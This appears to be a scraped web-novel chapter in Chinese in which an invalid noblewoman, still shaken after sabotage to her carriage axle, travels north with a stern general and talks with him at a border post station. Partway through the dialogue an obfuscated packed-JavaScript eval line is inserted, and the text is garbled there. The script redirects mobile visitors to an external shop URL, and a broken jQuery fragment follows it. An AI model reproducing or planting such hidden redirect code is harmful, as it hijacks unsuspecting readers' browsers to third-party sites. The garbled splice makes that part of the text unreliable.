姜荞歌这一夜睡得并不算踏实。
旧巡检所荒废已久，屋舍虽能挡风，到底不比将军府，也不比正经驿馆。夜里风从塌了一角的院墙处灌进来，吹得门板时不时轻轻响一下。炭火烧到后半夜，屋里也总浮着一点旧木和冷灰混在一起的气味。
她睡梦里总觉得自己还坐在那辆险些翻倒的马车里。车身猛地一倾，车轮陷进坑里，药匣从小几上滑下去，车壁冷硬地撞上肩头。她想伸手去扶，却怎么也扶不住，只听见外头有人低声说，车轴被人动过，销钉早在出京前便松了。
下一瞬，车身倾得更厉害。她整个人都像被拽进一团黑暗里，耳边只剩马嘶声、木头断裂声，还有谢凛那一道沉冷的命令——“先出来。”
姜荞歌倏地醒了过来。
屋里天色已亮，窗纸上透进一点灰白晨光。她缓了好一会儿，才慢慢分清眼前不是倾斜的车厢，而是昨夜临时收拾出来的屋子。
肩上仍旧隐隐作疼，她动了一下，疼意便从肩头慢慢泛开，不算厉害，却足够让她想起昨日那一场惊险。榻边小几上放着她的药匣，匣盖合得严实，像是昨夜被人重新摆正过。炭盆里的火还未完全熄，旁边还温着一盏水。
外间传来脚步声，谢凛掀帘进来时，身上带着清晨的冷气，腰间佩刀，袖口处还沾着一点未擦净的油泥，显然是已经去查看过那辆出事的马车。
他一进门，目光先落在姜荞歌脸上。
她刚从梦里醒来，发鬓微乱，脸色仍白，眼底还带着一点未散的惊意。坐在那里时，肩头不自觉绷着，像是还没从昨夜那场惊险里彻底缓过来。
谢凛看了一眼，眉心便沉了些。
他昨夜也没怎么睡。
车轴上的撬痕、被桐油掩过的油泥、那辆原本要送她回门的马车，一夜里在他脑子里翻来覆去。谢凛行军多年，见过许多险事，也见过许多人在一瞬之间没了命。他本该比谁都清楚意外与暗算无处不在。
姜荞歌坐起身，手指轻轻按着肩头，低声唤了一句：“将军。”
谢凛回过神，眉心微动：“肩膀还疼？”
姜荞歌本想说“不疼”，话到嘴边，又想起他昨日那句“疼就说疼”，便老老实实道：“还有一点。”
谢凛走近两步，像是对她这回总算没有硬撑还算满意，语气却仍旧平平：“府医说只是撞青了，晚些热敷。今日路上若疼得厉害，叫车停。”
姜荞歌轻轻点头：“好。”
她答得乖，心里却并不十分安稳，过了片刻，她还是忍不住问：“车轴的事，查出什么了吗？”
谢凛看了她一眼，没有立刻答，若照他从前的性子，这类事大约不会同她多说。她身子不好，又刚受了惊，叫她知道太多，未必是什么好事。可昨日在车边，她能闻出那股被桐油掩住的异味，也能在惊乱里提醒他别让人推车。她既已掺进来了，再把她当成什么都不该知道的人，反倒不合适。
谢凛沉默片刻，才道：“车夫暂时无嫌。路上也没有机会动手。撬痕被旧泥和桐油掩过，至少是出京前。”
姜荞歌指尖轻轻一紧。
“也就是说，昨日若没有北境急报，我们一同坐那辆车回门，也一样会出事。”
谢凛没有否认。
屋里安静了一瞬。
外头亲兵压低声音传令，马蹄偶尔踩过院中的碎石，声响很轻。姜荞歌垂眸看着自己膝上的被角，忽然觉得这一路北上，从她抱着药匣拦在府门前那一刻起，似乎便不再只是她与谢凛之间的事。
黄芪被换，回门马车的车轴被人动过。
一桩桩，一件件，都不是偶然。
谢凛见她脸色又白了些，声音沉下来：“怕了？”
姜荞歌抬头看他，她当然怕，怕得昨夜睡梦里都在车厢里摇晃。可真看着谢凛站在面前，想到昨日自己闻见桐油味时那一瞬的清醒，她又觉得自己不能只是怕。
她轻轻道：“怕。但我昨日也帮上忙了，对不对？”
谢凛微微一顿。
她问得认真，眼里还带着些未散的惊意，却并不是讨赏。更像是一个从前总被人护在身后的人，终于小心翼翼地摸到了一点能站稳的地方。
谢凛看了她片刻，道：“对。”
姜荞歌心口那点发紧的地方，像被轻轻松开了一线。
谢凛沉默片刻，又换了话题：“昨夜我已令陈副将带主力先行。我们后头这一路会换道走，不必再同主力抢时辰。”
姜荞歌一怔：“是因为我吗？”
谢凛皱眉：“是因为车轴。”
姜荞歌看着他，谢凛语气仍旧冷硬：“也是因为你。你这身子本就受不得急赶，昨日又撞了肩，若还同轻骑一样赶路，是嫌自己好得太快？”
这话说得不算好听，可姜荞歌听着，却没有像从前那样先往“自己又添麻烦”上想。
她慢慢点头：“我知道了。”
谢凛看着她这副安安静静的模样，反倒又补了一句：“慢些走，不等于耽误军务。边关那边该到的人已在路上。你只管记住一件事。”
姜荞歌抬眼。
“有不对，立刻说。”谢凛道，“别自作主张，也别怕多嘴。”
姜荞歌轻声应下：“好。”
用过早膳后，队伍重新上路。昨日那辆出事的马车被留给亲兵看守，另有一队人负责押回去细查。姜荞歌今日坐的是重新检查过的药车。药车自然不如原先那辆马车舒适，车垫薄些，车厢里也总有淡淡药草气，好在车轴、车轮、车厢都被谢凛亲自查过，倒叫人安心不少。
姜荞歌靠在车壁上，肩头垫了软枕，手边仍旧放着药匣。
这一日的路比昨日慢了许多，前头亲兵每过一处岔路，都会先下马查过路面。车队不再走原定驿道，而是折向西北旧路。那条路比官道窄些，两旁渐渐多了低矮的土坡和稀疏树林。越往北，风便越干硬，吹得车帘偶尔一晃，像有人在外头用指节轻轻叩着木板。
姜荞歌一开始还想看书。可翻开没多久，字又随着车身晃动散了开来。她索性把书合上，学着昨日那样去听外头的声响。
马蹄近时，是谢凛回到车旁。
马蹄远时，是他去了队伍前方。
若亲兵忽然压低声音，那多半是前头有路牌或岔道；若车夫短促勒马，便是前头有坑洼。
这些细碎的声音从前她从不留意。如今一点点听着，竟觉得自己好像终于不再完全被关在车帘之后。
只是每当车身一晃，她肩头仍会隐隐作疼。
婢女瞧出她脸色不好，低声问：“姑娘，要不要同将军说一声？”
姜荞歌摇摇头，又想起谢凛早上的话，顿了顿，改口道：“若再疼得厉害，我会说。现在还好。”
婢女这才稍稍放心。
傍晚，队伍在一处边镇驿站外停了下来。
这驿站不大，却兼做过路客栈。前头是驿厅，后头有马厩和几间上房，院中还堆着草料和几辆往北运货的车。因昨日改道，谢凛并未按原定路线落脚，这处驿站也是亲兵临时找来的。虽简陋些，却胜在四面开阔，进出都看得清楚。
姜荞歌下车时，先闻见一股热腾腾的羊汤味。
风里还混着马汗、草料和雨前潮气。远处几个过路商旅正围着火炉说话，嗓门比京城茶楼里的说书人还亮。一个妇人抱着满篮子烙饼从灶间出来，手臂稳得很，一边走一边骂自家孩子别去马厩后头滚泥，语气又凶又利落。
姜荞歌看得有些发怔。
谢凛站在她身侧，低头看了她一眼：“又看什么？”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17774184|209990||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
姜荞歌轻声道：“这里的人，也和京里不一样。”
谢凛顺着她的目光看过去，那妇人正一手拎着篮子，一手把扑到自己裙边的小儿子拎开，动作干脆得像拎了一只闹腾的小狗。
谢凛淡淡道：“北地风硬，人也硬。待久了便习惯了。”
姜荞歌想了想，又问：“将军从前也是这样习惯的么？”
谢凛脚步微顿。他很少主动提起自己的从前。从前这个词，对他而言并不是什么适合拿来闲谈的东西。幼年丧亲，少年从军，北境风雪，刀兵血气，军中从来没有人问他苦不苦，也没人问他习不习惯。姜荞歌问得也并不急切，只是像忽然意识到，她如今见到的这些风、这些人、这些粗粝而热烈的边地声响，或许都是谢凛早已习以为常的日子。
片刻后，谢凛才道：“我到北境时，比你如今也大不了多少，没时间让我不习惯。”
姜荞歌却听得心口轻轻一动，她从前在姜家，换季要添衣，夜里要添炭，连窗外风大些，嬷嬷都要先替她把窗缝塞好。可谢凛说起自己初到北境时，只是这样轻飘飘一句，像那些风雪与苦寒在他身上早已磨成寻常。
她低声道：“那将军一定吃了很多苦。”
谢凛侧头看她，像是觉得这话有些不必说。也像是不习惯有人这样问。
姜荞歌抬眼看他。她的眼睛很干净，也很认真。昨日她还在车里怕得脸白，今日却已经开始看他从前走过的路。谢凛被她这样看着，心里忽然生出一种极不自在的感觉。半晌，他只道：“先管好你自己。站这一会儿，脸又白了。”
上房很快收拾出来。
这处驿站的房间比旧巡检所整齐许多，只是也旧。内外间隔着一道半旧木屏风，窗棂不算厚，雨前的风从缝隙里钻进来，带着一点潮湿凉意。谢凛进门后先四下看了一圈，亲自试了窗闩，又把外间桌案移到靠墙的位置。
谢凛试完窗缝，回头便看见她正在看自己。
“看什么？”他问。
姜荞歌被抓个正着，忙垂下眼：“没什么。”
谢凛看了她一眼，没有追问，只是过了片刻，他又命人多送了一床软褥进来，铺在她榻上。
外间桌上很快铺开了舆图和几封军报。姜荞歌坐在内间榻边，隔着屏风看见谢凛低头看图。他指节扣在图上一处，偶尔同亲兵低声说上几句。那些话她听不大懂，只听见“旧道”“后队”“马厩”“换岗”“夜里双哨”几个字。
她原本想问，又记起谢凛说过不许她擅问军务，便将话压了回去。
晚膳是在房里用的，驿站送来的羊汤热腾腾地冒着气，面饼烙得厚实，边缘还有些焦香。姜荞歌今日白日里被肩伤磨得没什么胃口，直到喝了两口羊汤，胃里才慢慢暖起来。
谢凛坐在外间桌边，仍在看那张舆图。见她总算肯吃东西，目光从图上挪过来。
“好喝么？”他问。
姜荞歌想了想，很诚实地点头：“比药好。”
谢凛抬眼看她，半晌才冷冷道：“你拿什么同药比，倒显得这羊汤很争气。”
姜荞歌没忍住，轻轻笑了一下。她笑得很浅，像是怕牵动肩膀。谢凛看见了，眉心却不知不觉松了些。
晚膳后，府医又给姜荞歌看过肩伤，重新热敷了一回。药仍是要喝的，苦得她眉心皱了好一会儿。只是今日她没磨蹭，也没等人催，自己端起来慢慢喝完了。
谢凛在外间听见药碗放下的轻响，随口道：“今日倒利索。”
姜荞歌用蜜饯压着药苦，低声道：“怕将军说我磨蹭。”
“知道怕就好。”谢凛道，语气还是冷的，可隔着屏风落过来，却没那么吓人。
姜荞歌含着蜜饯，听着外间纸页翻动的声音，忽然觉得这道半旧屏风也没有那么讨厌了。